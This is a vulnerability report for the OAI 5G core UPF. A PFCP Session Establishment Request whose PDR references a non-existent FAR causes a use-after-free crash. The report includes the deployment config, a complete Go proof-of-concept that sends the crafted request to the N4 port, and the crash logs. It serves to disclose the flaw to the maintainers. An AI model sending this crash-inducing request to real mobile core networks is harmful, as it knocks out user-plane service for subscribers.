Skip to content

[Bug]: UPF Crash on PFCP Session Establishment when CreatePDR references non-existent FAR

OAI-CN-5G Release, Revision, or Tag

Description

When a PFCP Session Establishment Request contains a CreatePDR that references a non-existent FAR (e.g. FAR ID=9999), the UPF fails session creation, frees the session, but still calls the datapath logic with the stale session pointer. This leads to a use-after-free and a crash.

Config

config.yaml

   ################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1  (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
#      contact@openairinterface.org
################################################################################

# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter

############# Common configuration

# Log level for all the NFs
log_level:
  general: debug

# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
  general: yes
  
http_version: 2

############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
  amf:
    host: oai-amf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n2:
      interface_name: eth0
      port: 38412
  smf:
    host: oai-smf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n4:
      interface_name: eth0
      port: 8805
  upf:
    host: oai-upf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth1
    n3:
      interface_name: eth0
      port: 2152
    n4:
      interface_name: eth0
      port: 8805
    n6:
      interface_name: eth1
    n9:
      interface_name: eth0
      port: 2152
  udm:
    host: oai-udm
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  udr:
    host: oai-udr
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  ausf:
    host: oai-ausf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  nrf:
    host: oai-nrf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0

#### Common for UDR and AMF
database:
  host: mysql
  user: test
  type: mysql
  password: test
  database_name: oai_db
  generate_random: true
  connection_timeout: 300 # seconds

## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
  - &embb_slice
    sst: 1

############## NF-specific configuration
amf:
  pid_directory: "/var/run"
  amf_name: "OAI-AMF"
  # This really depends on if we want to keep the "mini" version or not
  support_features_options:
    enable_simple_scenario: no
    enable_nssf: no
    enable_smf_selection: yes
    use_external_udm: no
  relative_capacity: 30
  statistics_timer_interval: 20  #in seconds
  emergency_support: false
  served_guami_list:
    - mcc: 001
      mnc: 01
      amf_region_id: 01
      amf_set_id: 001
      amf_pointer: 01
  plmn_support_list:
    - mcc: 001
      mnc: 01
      tac: 0x0001
      nssai:
        - *embb_slice
  supported_integrity_algorithms:
    - "NIA1"
    - "NIA2"
  supported_encryption_algorithms:
    - "NEA0"
    - "NEA1"
    - "NEA2"

smf:
  ue_mtu: 1500
  support_features:
    use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
    use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
  # we resolve from NRF, this is just to configure usage_reporting
  upfs:
    - host: oai-upf
      config:
        enable_usage_reporting: no
  ue_dns:
    primary_ipv4: "1.1.1.1"
    primary_ipv6: "2001:4860:4860::8888"
    secondary_ipv4: "8.8.8.8"
    secondary_ipv6: "2001:4860:4860::8888"
  ims:
    pcscf_ipv4: "192.168.70.139"
    pcscf_ipv6: "fe80::7915:f408:1787:db8b"
  # the DNN you configure here should be configured in "dnns"
  # follows the SmfInfo datatype from 3GPP TS 29.510
  smf_info:
    sNssaiSmfInfoList:
      - sNssai: *embb_slice
        dnnSmfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"
  local_subscription_infos:
    - single_nssai: *embb_slice
      dnn: "oai"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "openairinterface"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "ims"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "default"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"

upf:
  support_features:
    enable_bpf_datapath: yes    # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
    enable_snat: yes           # If "on": Source natting is done for UE, DEFAULT= off
  remote_n6_gw: 127.0.0.1      # Dummy host since simple-switch does not use N6 GW
  smfs:
    - host: oai-smf            # To be used for PFCP association in case of no-NRF
  upf_info:
    sNssaiUpfInfoList:
      - sNssai: *embb_slice
        dnnUpfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"

## DNN configuration
dnns:
  - dnn: "oai"
    pdu_session_type: "IPV4"
    ipv4_subnet: "10.0.0.0/24"
  - dnn: "openairinterface"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.1.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "ims"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.9.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "default"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.255.0/24"
    ipv6_prefix: "2001:1:2::/64"

Steps to reproduce

  1. Start a new go project inside a new folder: go mod init poc
  2. Create a main.go and paste the code below:
package main

import (
    "errors"
    "flag"
    "fmt"
    "log"
    "math/rand"
    "net"
    "os"
    "sync/atomic"
    "syscall"
    "time"

    "github.com/wmnsk/go-pfcp/ie"
    "github.com/wmnsk/go-pfcp/message"
)

const (
    defaultPFCPAddr = "192.168.70.134:8805"
    defaultCPIP     = "127.0.0.1"
    defaultGnbIP    = "192.168.70.134"
    defaultUEIP     = "12.1.1.10"
    defaultTimeout  = 5 * time.Second
    defaultR1TEID   = 0xdeadbeef
)

// PFCP Client


type pfcpClient struct {
    conn    *net.UDPConn
    timeout time.Duration
    seq     uint32
}

func newPFCPClient(addr string, timeout time.Duration) (*pfcpClient, error) {
    udpAddr, err := net.ResolveUDPAddr("udp", addr)
    if err != nil {
        return nil, err
    }
    conn, err := net.DialUDP("udp", nil, udpAddr)
    if err != nil {
        return nil, err
    }
    return &pfcpClient{
        conn:    conn,
        timeout: timeout,
        seq:     uint32(rand.Intn(0xffffff)),
    }, nil
}

func (c *pfcpClient) close() {
    _ = c.conn.Close()
}

func (c *pfcpClient) nextSeq() uint32 {
    return atomic.AddUint32(&c.seq, 1)
}

func (c *pfcpClient) associate(addr net.IP) error {
    req := message.NewAssociationSetupRequest(
        c.nextSeq(),
        ie.NewNodeID(addr.String(), "", ""),
        ie.NewRecoveryTimeStamp(time.Now()),
    )

    resp, err := c.send(req)
    if err != nil {
        return err
    }
    if asr, ok := resp.(*message.AssociationSetupResponse); ok {
        if asr.Cause != nil {
            if cause, _ := asr.Cause.Cause(); cause != ie.CauseRequestAccepted {
                return fmt.Errorf("association rejected (cause=%d)", cause)
            }
        }
    }
    return nil
}

func (c *pfcpClient) send(msg message.Message) (message.Message, error) {
    payload := make([]byte, msg.MarshalLen())
    if err := msg.MarshalTo(payload); err != nil {
        return nil, err
    }
    if _, err := c.conn.Write(payload); err != nil {
        return nil, err
    }

    _ = c.conn.SetReadDeadline(time.Now().Add(c.timeout))
    buf := make([]byte, 4096)
    n, _, err := c.conn.ReadFromUDP(buf)
    if err != nil {
        return nil, err
    }
    return message.Parse(buf[:n])
}

// Utility functions


func randomSEID() uint64 {
    const mask = (1 << 60) - 1
    return uint64(rand.Int63()) & mask
}

func isTimeout(err error) bool {
    var netErr net.Error
    if errors.As(err, &netErr) && netErr.Timeout() {
        return true
    }
    return false
}

func isConnRefused(err error) bool {
    var opErr *net.OpError
    if errors.As(err, &opErr) {
        if errors.Is(opErr.Err, syscall.ECONNREFUSED) {
            return true
        }
        var sysErr *os.SyscallError
        if errors.As(opErr.Err, &sysErr) {
            if errors.Is(sysErr.Err, syscall.ECONNREFUSED) {
                return true
            }
        }
    }
    return false
}

func checkPFCPConnectivity(addr string, timeout time.Duration) error {
    udpAddr, err := net.ResolveUDPAddr("udp", addr)
    if err != nil {
        return fmt.Errorf("invalid PFCP address %s: %w", addr, err)
    }

    conn, err := net.DialUDP("udp", nil, udpAddr)
    if err != nil {
        return fmt.Errorf("cannot create UDP socket to %s: %w", addr, err)
    }
    defer conn.Close()

    if err := conn.SetWriteDeadline(time.Now().Add(timeout)); err != nil {
        return fmt.Errorf("cannot set write deadline: %w", err)
    }

    if _, err := conn.Write([]byte{}); err != nil {
        if isTimeout(err) {
            return fmt.Errorf("timeout writing to %s (UPF may not be listening)", addr)
        }
        return fmt.Errorf("cannot write to %s: %w", addr, err)
    }

    conn.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
    buf := make([]byte, 1)
    _, _, _ = conn.ReadFromUDP(buf)
    conn.SetReadDeadline(time.Time{})

    return nil
}

// R1: BPF datapath UAF exploit


func triggerR1(pfcpAddr string, cpIP, gnbIP, ueIP net.IP, teid uint32, timeout time.Duration) error {
    log.Println("[R1] Triggering BPF datapath UAF during session establishment")

    // Check connectivity
    log.Printf("[R1] Checking PFCP connectivity to %s...", pfcpAddr)
    if err := checkPFCPConnectivity(pfcpAddr, timeout); err != nil {
        return fmt.Errorf("PFCP connectivity check failed: %w", err)
    }
    log.Println("[R1] PFCP connectivity check passed")

    // Create PFCP client
    client, err := newPFCPClient(pfcpAddr, timeout)
    if err != nil {
        return err
    }
    defer client.close()

    // Establish PFCP association
    if err := client.associate(cpIP); err != nil {
        return fmt.Errorf("PFCP association failed: %w", err)
    }
    log.Println("[R1] PFCP association established")

    // Craft malformed Session Establishment Request
    cpSEID := randomSEID()
    log.Printf("[R1] Crafting malformed Session Establishment Request")
    log.Printf("[R1]   - CP SEID: %#x", cpSEID)
    log.Printf("[R1]   - PDR ID: 1111, FAR ID: 9999 (FAR deliberately missing)")
    log.Printf("[R1]   - UE IP: %s, gNB IP: %s, TEID: %#x", ueIP, gnbIP, teid)
    log.Printf("[R1]   - Expected: UPF will fail validation, delete session, then call_datapath() dereferences freed pointer")

    // Create PDR that references a FAR ID that doesn't exist
    // This causes session creation to fail, session is deleted, but call_datapath()
    // is still called with the dangling pointer (pfcp_switch.cpp lines 702-785)
    req := message.NewSessionEstablishmentRequest(0, 0, cpSEID, client.nextSeq(), 0,
        ie.NewNodeID(cpIP.String(), "", ""),
        ie.NewFSEID(cpSEID, cpIP, nil),
        ie.NewCreatePDR(
            ie.NewPDRID(1111),
            ie.NewPrecedence(100),
            ie.NewPDI(
                ie.NewSourceInterface(ie.SrcInterfaceAccess),
                ie.NewUEIPAddress(0x02, ueIP.String(), "", 0, 0),
                ie.NewFTEID(0x01, teid, gnbIP, nil, 0),
            ),
            ie.NewFARID(9999), // FAR ID 9999 is referenced but never created - triggers validation failure
        ),
        // Note: No CreateFAR with FARID 9999 is included, causing session->create() to fail
    )

    log.Println("[R1] Sending malformed request...")
    msg, err := client.send(req)
    if err != nil {
        if isTimeout(err) || isConnRefused(err) {
            log.Println("[R1] ✓ SUCCESS: PFCP socket timed out or connection refused.")
            log.Println("[R1]   This indicates the UPF crashed due to UAF in call_datapath()")
            log.Println("[R1]   Check UPF logs for segmentation fault in pfcp_switch::call_datapath")
            log.Println("[R1]   Expected crash location: std::make_shared<pfcp::pfcp_session>(*s) at lines 654-665")
            return nil
        }
        return fmt.Errorf("PFCP exchange failed: %w", err)
    }

    if resp, ok := msg.(*message.SessionEstablishmentResponse); ok {
        if resp.Cause != nil {
            if c, _ := resp.Cause.Cause(); c != ie.CauseRequestAccepted {
                log.Printf("[R1] ⚠ WARNING: UPF survived and returned cause=%d", c)
                log.Println("[R1]   The UPF rejected the request but did not crash.")
                log.Println("[R1]   This suggests enable_bpf_datapath=no in UPF configuration.")
                log.Println("[R1]   To reproduce the crash, ensure enable_bpf_datapath=yes in UPF config.")
                return nil
            }
        }
    }
    log.Println("[R1] ⚠ WARNING: UPF responded with success (unexpected behavior)")
    log.Println("[R1]   Expected: UPF should reject the request or crash due to UAF")
    log.Println("[R1]   Verify: enable_bpf_datapath=yes in UPF configuration")
    return nil
}

func main() {
    var (
        pfcpAddr = flag.String("pfcp", defaultPFCPAddr, "PFCP target in host:port format")
        cpIP     = flag.String("cp-ip", defaultCPIP, "Local SMF IPv4 address for F-SEID")
        gnbIP    = flag.String("gnb-ip", defaultGnbIP, "gNB IPv4 address used in F-TEID")
        ueIP     = flag.String("ue-ip", defaultUEIP, "UE IPv4 address used by crafted sessions")
        teid     = flag.Uint("teid", defaultR1TEID, "TEID encoded in the malformed request")
        timeout  = flag.Duration("timeout", defaultTimeout, "Timeout per PFCP exchange")
    )
    flag.Parse()

    cpIPAddr := net.ParseIP(*cpIP)
    gnbIPAddr := net.ParseIP(*gnbIP)
    ueIPAddr := net.ParseIP(*ueIP)

    if cpIPAddr == nil || gnbIPAddr == nil || ueIPAddr == nil {
        log.Fatal("cp-ip, gnb-ip, and ue-ip must be valid IPv4 addresses")
    }

    if err := triggerR1(*pfcpAddr, cpIPAddr, gnbIPAddr, ueIPAddr, uint32(*teid), *timeout); err != nil {
        log.Fatalf("R1 failed: %v", err)
    }

    log.Println("[+] R1 exploit completed")
}
  1. Run the program with the upf pfcp server address: go run ./main.go

  2. Download required libraries: go mod tidy

Logs

[2025-11-15 08:11:30.404] [upf_app] [warning] Could not get response from NRF
[2025-11-15 08:11:30.404] [upf_app] [debug] Set a timer to the next NRF registration try (5)
[2025-11-15 08:11:32.920] [udp    ] [error] Recvfrom failed Success
[2025-11-15 08:11:33.421] [upf_n4 ] [info] handle_receive(25 bytes)
[2025-11-15 08:11:33.424] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-11-15 08:11:33.428] [upf_n4 ] [info] handle_receive(99 bytes)
[2025-11-15 08:11:33.428] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0x35f8a6eda69df72 
[2025-11-15 08:11:33.428] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-11-15 08:11:33.429] [upf_app] [debug] sessionManager::createBpfSession() seid 0x0 
[2025-11-15 08:11:33.429] [upf_app] [error] No pdr found in session seid 0x0 
terminate called after throwing an instance of 'std::runtime_error'
  what():  Session creation failed: No pdr found.
[2025-11-15 08:11:33.447] [upf_app] [debug] There are some programs in LINKED state
[2025-11-15 08:11:33.447] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
[2025-11-15 08:11:33.448] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-15 08:11:33.448] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-15 08:11:33.448] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-15 08:11:33.449] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-15 08:11:33.451] [system ] [info] Caught signal 11
[2025-11-15 08:11:33.451] [upf_app] [debug] Send NF De-registration to NRF
[2025-11-15 08:11:33.451] [upf_app] [info] Send NF De-register to NRF
[2025-11-15 08:11:33.451] [upf_app] [debug] Send NF De-register to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/6d73d30c-f8a1-4f11-a8b1-e6ce55d1ecee)
[2025-11-15 08:11:33.453] [upf_app] [debug] Send a simple HTTP request
[2025-11-15 08:11:35.405] [upf_app] [info] TIME-OUT event timer id 254
[2025-11-15 08:11:35.405] [upf_app] [info] Send NF Instance Registration to NRF
[2025-11-15 08:11:35.405] [upf_app] [debug] UPF profile to JSON:
 {"capacity":100,"fqdn":"","heartBeatTimer":50,"ipv4Addresses":["192.168.70.134"],"nfInstanceId":"6d73d30c-f8a1-4f11-a8b1-e6ce55d1ecee","nfInstanceName":"OAI-UPF","nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"default"},{"dnn":"ims"},{"dnn":"openairinterface"},{"dnn":"oai"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-15 08:11:35.405] [upf_app] [debug] Send NF Instance Registration to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/6d73d30c-f8a1-4f11-a8b1-e6ce55d1ecee)
[2025-11-15 08:11:35.405] [upf_app] [debug] Send NF Instance Registration to NRF, msg body: 
 {"capacity":100,"fqdn":"","heartBeatTimer":50,"ipv4Addresses":["192.168.70.134"],"nfInstanceId":"6d73d30c-f8a1-4f11-a8b1-e6ce55d1ecee","nfInstanceName":"OAI-UPF","nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"default"},{"dnn":"ims"},{"dnn":"openairinterface"},{"dnn":"oai"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-15 08:11:35.405] [upf_app] [debug] Send a simple HTTP request
[2025-11-15 08:11:36.456] [upf_app] [warning] Could not get response from NRF
[2025-11-15 08:11:36.456] [common] [info] Waiting ITTI tasks closed
[2025-11-15 08:11:36.456] [asc_cmd] [info] Received terminate message
[2025-11-15 08:11:36.457] [upf_n4 ] [info] Received terminate message
terminate called recursively

Expected Behaviour

UPF must validate that every PDR’s FAR ID resolves to an existing FAR. If the FAR does not exist, it should reject the Session Establishment Request with an appropriate PFCP Cause (e.g., rule creation/modification failure) and must not invoke datapath/session installation on a failed or freed session.

Observed Behaviour

UPF accepts the request for processing, parses the PDR, fails session creation due to the invalid FAR reference, logs No pdr found in session, frees the session, then still calls call_datapath() and dereferences the freed session (e.g. via std::make_shared<pfcp::pfcp_session>(*s)), triggering a use-after-free and crashing.

Edited by Ziyu Lin